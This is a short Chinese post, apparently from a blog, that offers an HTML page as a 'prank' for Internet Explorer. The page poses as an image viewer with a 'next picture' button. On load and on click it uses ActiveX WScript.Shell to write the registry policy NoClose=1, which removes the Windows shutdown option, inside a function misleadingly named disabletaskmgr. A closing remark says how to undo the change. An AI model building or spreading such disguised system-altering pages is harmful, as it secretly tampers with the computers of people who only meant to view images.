纯属恶作剧（只对ie浏览器有效因为要调用activex）
<!--
e-mail：shyhero@outlook.com
author: dujianing
删除关机按钮
-->
<!doctype html>
<html>
<head>
<meta charset="utf-8"/>
<title></title>
<script type="text/javascript" language="javascript">
function disabletaskmgr(flg){
var shell = new activexobject("wscript.shell");
try{
shell.regwrite("hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer\noclose",
1,"reg_dword")
}catch(e){
throw e;
}
}
</script>
</head>
<body onload="disabletaskmgr(true)">
<img src="imgs/2.jpg"/>
<button onclick="disabletaskmgr(true)">下一张
</button>
</body>
</html>
备注：可以恶作剧一下，修改注册表，把值改为0就能还原
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